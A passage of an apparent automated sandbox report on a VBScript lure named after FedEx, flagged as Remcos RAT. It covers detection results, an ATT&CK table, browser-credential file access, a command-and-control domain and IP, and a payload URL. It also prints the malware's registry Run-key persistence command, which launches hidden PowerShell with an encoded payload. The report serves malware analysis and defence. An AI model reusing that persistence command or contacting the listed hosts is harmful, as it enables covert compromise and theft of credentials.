            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
            Source: C:\Windows\System32\wscript.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 24_2_07584768 CreateNamedPipeW,24_2_07584768

            Stealing of Sensitive Information

            barindex
            Yara detected Remcos RAT
            Source: Yara matchFile source: 00000014.00000002.852534659.000000000364B000.00000004.00000020.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000014.00000002.852416599.000000000361C000.00000004.00000020.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: ieinstal.exe PID: 4636, type: MEMORYSTR
            Tries to harvest and steal browser information (history, passwords, etc)
            Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\CookiesJump to behavior
            Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login DataJump to behavior

            Remote Access Functionality

            barindex
            Yara detected Remcos RAT
            Source: Yara matchFile source: 00000014.00000002.852534659.000000000364B000.00000004.00000020.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000014.00000002.852416599.000000000361C000.00000004.00000020.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: ieinstal.exe PID: 4636, type: MEMORYSTR
            Detected Remcos RAT
            Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeMutex created: \Sessions\1\BaseNamedObjects\Remcos_Mutex_InjJump to behavior

            Mitre Att&ck Matrix

            Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
            Valid Accounts521
            Scripting            		1
            DLL Side-Loading            		1
            DLL Side-Loading            		1
            Deobfuscate/Decode Files or Information            		1
            OS Credential Dumping            		1
            File and Directory Discovery            		Remote Services1
            Archive Collected Data            		Exfiltration Over Other Network Medium1
            Ingress Tool Transfer            		Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
            Default Accounts11
            Command and Scripting Interpreter            		21
            Registry Run Keys / Startup Folder            		13
            Process Injection            		521
            Scripting            		11
            Input Capture            		13
            System Information Discovery            		Remote Desktop Protocol1
            Data from Local System            		Exfiltration Over Bluetooth11
            Encrypted Channel            		Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
            Domain Accounts3
            PowerShell            		Logon Script (Windows)21
            Registry Run Keys / Startup Folder            		2
            Obfuscated Files or Information            		Security Account Manager1
            Query Registry            		SMB/Windows Admin Shares11
            Input Capture            		Automated Exfiltration1
            Non-Standard Port            		Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
            Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)1
            DLL Side-Loading            		NTDS311
            Security Software Discovery            		Distributed Component Object ModelInput CaptureScheduled Transfer1
            Remote Access Software            		SIM Card SwapCarrier Billing Fraud
            Cloud AccountsCronNetwork Logon ScriptNetwork Logon Script1
            Masquerading            		LSA Secrets2
            Process Discovery            		SSHKeyloggingData Transfer Size Limits2
            Non-Application Layer Protocol            		Manipulate Device CommunicationManipulate App Store Rankings or Ratings
            Replication Through Removable MediaLaunchdRc.commonRc.common231
            Virtualization/Sandbox Evasion            		Cached Domain Credentials231
            Virtualization/Sandbox Evasion            		VNCGUI Input CaptureExfiltration Over C2 Channel13
            Application Layer Protocol            		Jamming or Denial of ServiceAbuse Accessibility Features
            External Remote ServicesScheduled TaskStartup ItemsStartup Items13
            Process Injection            		DCSync1
            Application Window Discovery            		Windows Remote ManagementWeb Portal CaptureExfiltration Over Alternative ProtocolCommonly Used PortRogue Wi-Fi Access PointsData Encrypted for Impact
            Drive-by CompromiseCommand and Scripting InterpreterScheduled Task/JobScheduled Task/JobIndicator Removal from ToolsProc Filesystem1
            Remote System Discovery            		Shared WebrootCredential API HookingExfiltration Over Symmetric Encrypted Non-C2 ProtocolApplication Layer ProtocolDowngrade to Insecure ProtocolsGenerate Fraudulent Advertising Revenue

            Behavior Graph

            Hide Legend

            Legend:

            • Process
            • Signature
            • Created File
            • DNS/IP Info
            • Is Dropped
            • Is Windows Process
            • Number of created Registry Values
            • Number of created Files
            • Visual Basic
            • Delphi
            • Java
            • .Net C# or VB.NET
            • C, C++ or other language
            • Is malicious
            • Internet
            behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 557830 Sample: 775578748333_FEDEX.vbs Startdate: 21/01/2022 Architecture: WINDOWS Score: 100 54 www.wizumiya.co.jp 2->54 56 prda.aadg.msidentity.com 2->56 70 Multi AV Scanner detection for domain / URL 2->70 72 Found malware configuration 2->72 74 Multi AV Scanner detection for submitted file 2->74 76 7 other signatures 2->76 10 wscript.exe 2 2->10         started        13 cmd.exe 1 2->13         started        15 cmd.exe 1 2->15         started        signatures3 process4 signatures5 78 VBScript performs obfuscated calls to suspicious functions 10->78 80 Wscript starts Powershell (via cmd or directly) 10->80 82 Very long command line found 10->82 17 powershell.exe 22 10->17         started        84 Suspicious powershell command line found 13->84 86 Encrypted powershell cmdline option found 13->86 20 powershell.exe 10 13->20         started        22 conhost.exe 13->22         started        24 powershell.exe 10 15->24         started        26 conhost.exe 15->26         started        process6 signatures7 62 Suspicious powershell command line found 17->62 64 Very long command line found 17->64 66 Encrypted powershell cmdline option found 17->66 68 2 other signatures 17->68 28 ieinstal.exe 5 9 17->28         started        32 csc.exe 3 17->32         started        35 conhost.exe 17->35         started        37 powershell.exe 20->37         started        39 powershell.exe 24->39         started        process8 dnsIp9 58 rnnfibi.hopto.org 199.195.253.181, 49757, 54666 PONYNETUS United States 28->58 60 www.wizumiya.co.jp 52.68.15.223, 443, 49756, 49758 AMAZON-02US United States 28->60 88 Detected Remcos RAT 28->88 90 Creates autostart registry keys with suspicious values (likely registry only malware) 28->90 92 Creates an autostart registry key pointing to binary in C:\Windows 28->92 94 4 other signatures 28->94 41 iexplore.exe 28->41         started        50 C:\Users\user\AppData\Local\...\tm43worv.dll, PE32 32->50 dropped 43 cvtres.exe 1 32->43         started        45 csc.exe 37->45         started        file10 signatures11 process12 file13 52 C:\Users\user\AppData\Local\...\yy0zjl34.dll, PE32 45->52 dropped 48 cvtres.exe 45->48         started        process14

            Screenshots

            Thumbnails

            This section contains all screenshots as thumbnails, including those not shown in the slideshow.


            windows-stand

            Antivirus, Machine Learning and Genetic Malware Detection

            Initial Sample

            SourceDetectionScannerLabelLink
            775578748333_FEDEX.vbs7%VirustotalBrowse
            775578748333_FEDEX.vbs12%ReversingLabsScript-WScript.Downloader.SLoad

            Dropped Files

            ⊘No Antivirus matches

            Unpacked PE Files

            ⊘No Antivirus matches

            Domains

            SourceDetectionScannerLabelLink
            rnnfibi.hopto.org5%VirustotalBrowse

            URLs

            SourceDetectionScannerLabelLink
            http://pesterbdd.com/images/Pester.pngT0%Avira URL Cloudsafe
            https://www.wizumiya.co.jp/u-0%Avira URL Cloudsafe
            http://pesterbdd.com/images/Pester.png0%URL Reputationsafe
            rnnfibi.hopto.org0%Avira URL Cloudsafe
            https://contoso.com/0%URL Reputationsafe
            https://contoso.com/License0%URL Reputationsafe
            https://contoso.com/Icon0%URL Reputationsafe
            https://www.wizumiya.co.jp/html/user_data/original/images/Aso-new-WO-S_PAgZvxdaV59.bin0%Avira URL Cloudsafe
            https://www.wizumiya.co.jp/html/user_data/original/images/Ev0%Avira URL Cloudsafe
            https://www.wizumiya.co.jp/=-0%Avira URL Cloudsafe

            Domains and IPs

            Contacted Domains

            NameIPActiveMaliciousAntivirus DetectionReputation
            rnnfibi.hopto.org
            		199.195.253.181
            		truetrueunknown
            www.wizumiya.co.jp
            		52.68.15.223
            		truefalse
              		high

              Contacted URLs

              NameMaliciousAntivirus DetectionReputation
              rnnfibi.hopto.orgtrue
              • Avira URL Cloud: safe
              		unknown
              https://www.wizumiya.co.jp/html/user_data/original/images/Aso-new-WO-S_PAgZvxdaV59.binfalse
              • Avira URL Cloud: safe
              		unknown
              https://www.wizumiya.co.jp/html/user_data/original/images/Evtrue
              • Avira URL Cloud: safe
              		unknown

              URLs from Memory and Binaries

              NameSourceMaliciousAntivirus DetectionReputation
              http://pesterbdd.com/images/Pester.pngTpowershell.exe, 0000000C.00000002.634360769.0000000004A63000.00000004.00000001.sdmpfalse
              • Avira URL Cloud: safe
              		unknown
              https://github.com/Pester/PesterTpowershell.exe, 0000000C.00000002.634360769.0000000004A63000.00000004.00000001.sdmpfalse
                		high
                https://www.wizumiya.co.jp/u-ieinstal.exe, 00000014.00000002.852346191.00000000035EF000.00000004.00000020.sdmpfalse
                • Avira URL Cloud: safe
                		unknown
                http://nuget.org/NuGet.exepowershell.exe, 0000000C.00000002.637943799.0000000005982000.00000004.00000001.sdmpfalse
                  		high
                  http://pesterbdd.com/images/Pester.pngpowershell.exe, 0000000C.00000002.634360769.0000000004A63000.00000004.00000001.sdmp, powershell.exe, 0000000C.00000002.639417925.00000000075CA000.00000004.00000001.sdmpfalse
                  • URL Reputation: safe
                  		unknown
                  http://www.apache.org/licenses/LICENSE-2.0.htmlpowershell.exe, 0000000C.00000002.634360769.0000000004A63000.00000004.00000001.sdmp, powershell.exe, 0000000C.00000002.639417925.00000000075CA000.00000004.00000001.sdmpfalse
                    		high
                    https://contoso.com/powershell.exe, 0000000C.00000002.637943799.0000000005982000.00000004.00000001.sdmpfalse
                    • URL Reputation: safe
                    		unknown
                    https://nuget.org/nuget.exepowershell.exe, 0000000C.00000002.637943799.0000000005982000.00000004.00000001.sdmpfalse
                      		high
                      https://contoso.com/Licensepowershell.exe, 0000000C.00000002.637943799.0000000005982000.00000004.00000001.sdmpfalse
                      • URL Reputation: safe
                      		unknown
                      https://contoso.com/Iconpowershell.exe, 0000000C.00000002.637943799.0000000005982000.00000004.00000001.sdmpfalse
                      • URL Reputation: safe
                      		unknown
                      http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namepowershell.exe, 0000000C.00000002.633946561.0000000004921000.00000004.00000001.sdmp, powershell.exe, 00000018.00000002.873636132.0000000004921000.00000004.00000001.sdmp, powershell.exe, 0000001C.00000002.879042376.0000000004741000.00000004.00000001.sdmp, powershell.exe, 0000001D.00000002.878472669.0000000004A81000.00000004.00000001.sdmpfalse
                        		high
                        https://www.wizumiya.co.jp/=-ieinstal.exe, 00000014.00000002.852346191.00000000035EF000.00000004.00000020.sdmpfalse
                        • Avira URL Cloud: safe
                        		unknown
                        http://www.apache.org/licenses/LICENSE-2.0.htmlTpowershell.exe, 0000000C.00000002.634360769.0000000004A63000.00000004.00000001.sdmpfalse
                          		high
                          https://github.com/Pester/Pesterpowershell.exe, 0000000C.00000002.634360769.0000000004A63000.00000004.00000001.sdmp, powershell.exe, 0000000C.00000002.639417925.00000000075CA000.00000004.00000001.sdmpfalse
                            		high

                            World Map of Contacted IPs

                            • No. of IPs < 25%
                            • 25% < No. of IPs < 50%
                            • 50% < No. of IPs < 75%
                            • 75% < No. of IPs

                            Public IPs

                            IPDomainCountryFlagASNASN NameMalicious
                            52.68.15.223
                            		www.wizumiya.co.jpUnited States
                            		16509AMAZON-02USfalse
                            199.195.253.181
                            		rnnfibi.hopto.orgUnited States
                            		53667PONYNETUStrue

                            General Information

                            Joe Sandbox Version:34.0.0 Boulder Opal
                            Analysis ID:557830
                            Start date:21.01.2022
                            Start time:17:17:28
                            Joe Sandbox Product:CloudBasic
                            Overall analysis duration:0h 15m 52s
                            Hypervisor based Inspection enabled:false
                            Report type:full
                            Sample file name:775578748333_FEDEX.vbs
                            Cookbook file name:default.jbs
                            Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
                            Number of analysed new started processes analysed:32
                            Number of new started drivers analysed:0
                            Number of existing processes analysed:0
                            Number of existing drivers analysed:0
                            Number of injected processes analysed:0
                            Technologies:
                            • HCA enabled
                            • EGA enabled
                            • HDC enabled
                            • AMSI enabled
                            Analysis Mode:default
                            Analysis stop reason:Timeout
                            Detection:MAL
                            Classification:mal100.troj.spyw.evad.winVBS@28/33@4/2
                            EGA Information:
                            • Successful, ratio: 80%
                            HDC Information:Failed
                            HCA Information:
                            • Successful, ratio: 99%
                            • Number of executed functions: 274
                            • Number of non-executed functions: 7
                            Cookbook Comments:
                            • Adjust boot time
                            • Enable AMSI
                            • Found application associated with file extension: .vbs
                            • Override analysis time to 240s for JS/VBS files not yet terminated

                            Warnings

                            • Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
                            • Excluded IPs from analysis (whitelisted): 23.211.6.115, 20.190.159.136, 40.126.31.141, 40.126.31.1, 40.126.31.139, 40.126.31.8, 20.190.159.138, 40.126.31.143, 40.126.31.4, 40.127.240.158, 51.104.136.2, 51.11.168.232
                            • Excluded domains from analysis (whitelisted): e12564.dspb.akamaiedge.net, fs.microsoft.com, store-images.s-microsoft.com, login.live.com, www.tm.lg.prod.aadmsa.akadns.net, store-images.s-microsoft.com-c.edgekey.net, settings-win.data.microsoft.com, www.tm.a.prd.aadg.akadns.net, img-prod-cms-rt-microsoft-com.akamaized.net, arc.msn.com, login.msa.msidentity.com, settingsfd-geo.trafficmanager.net
                            • Execution Graph export aborted for target powershell.exe, PID 5616 because it is empty
                            • Not all processes where analyzed, report is missing behavior information
                            • Report creation exceeded maximum time and may have missing disassembly code information.
                            • Report size exceeded maximum capacity and may have missing behavior information.
                            • Report size getting too big, too many NtOpenKeyEx calls found.
                            • Report size getting too big, too many NtProtectVirtualMemory calls found.
                            • Report size getting too big, too many NtQueryValueKey calls found.

                            Simulations

                            Behavior and APIs

                            TimeTypeDescription
                            17:20:07API Interceptor138x Sleep call for process: powershell.exe modified
                            17:21:00AutostartRun: HKCU\Software\Microsoft\Windows\CurrentVersion\Run opklbedebi cmd /c start /b c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Retrocogni8=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').Rickey;powershell.exe -windowstyle hidden -encodedcommand($Retrocogni8)
                            17:21:08AutostartRun: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run opklbedebi cmd /c start /b c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Retrocogni8=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').Rickey;powershell.exe -windowstyle hidden -encodedcommand($Retrocogni8)

                            Joe Sandbox View / Context

                            IPs

                            ⊘No context

                            Domains

                            ⊘No context

                            ASNs

                            ⊘No context

                            JA3 Fingerprints

                            ⊘No context

                            Dropped Files

                            ⊘No context

                            Created / dropped Files

                            C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

                            Download File
                            Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            File Type:data
                            Category:dropped
                            Size (bytes):8003
                            Entropy (8bit):4.839308921501875
                            Encrypted:false
                            SSDEEP:192:yxoe5oVsm5emdVVFn3eGOVpN6K3bkkjo59gkjDt4iWN3yBGHh9smidcU6CXpOTik:DBVoGIpN6KQkj2Wkjh4iUx0mib4J
                            MD5:937C6E940577634844311E349BD4614D
                            SHA1:379440E933201CD3E6E6BF9B0E61B7663693195F
                            SHA-256:30DC628AB2979D2CF0D281E998077E5721C68B9BBA61610039E11FDC438B993C
                            SHA-512:6B37FE533991631C8290A0E9CC0B4F11A79828616BEF0233B4C57EC7C9DCBFC274FB7E50FC920C4312C93E74CE621B6779F10E4016E9FD794961696074BDFBFA
                            Malicious:false
                            Reputation:unknown
                            Preview:PSMODULECACHE......<.e...Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........<.e...T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

                            C:\Users\user\AppData\Local\Temp\CSCB8D22C72555343A48341CA7311A8A12.TMP

                            Download File
                            Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
                            File Type:MSVC .res
                            Category:dropped
                            Size (bytes):652
                            Entropy (8bit):3.101138302340657
                            Encrypted:false
                            SSDEEP:12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5grywl8ak7YnqqjlRPN5Dlq5J:+RI+ycuZhNKl8akSjlRPNnqX
                            MD5:110398E3A6E3FAFF6B7917E605399EF4
                            SHA1:2C99A1588B22A3F1B168F9C413CAB1364E98098B
                            SHA-256:1F79ED65EF4FD4135D4315A79EC6FE75A158DA0B23C47935330C5943E248F7E3
                            SHA-512:54473CA7F1DD72187F953AB58CB34546CCBBF61C42F99D44E8E70BBCF9BFE0B0C9A175965E25FC13ECB382AF7F4AE9E67B17BAF0050A606204F7C2A8938120C9
                            Malicious:false
                            Reputation:unknown
                            Preview:.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...y.y.0.z.j.l.3.4...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...y.y.0.z.j.l.3.4...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...
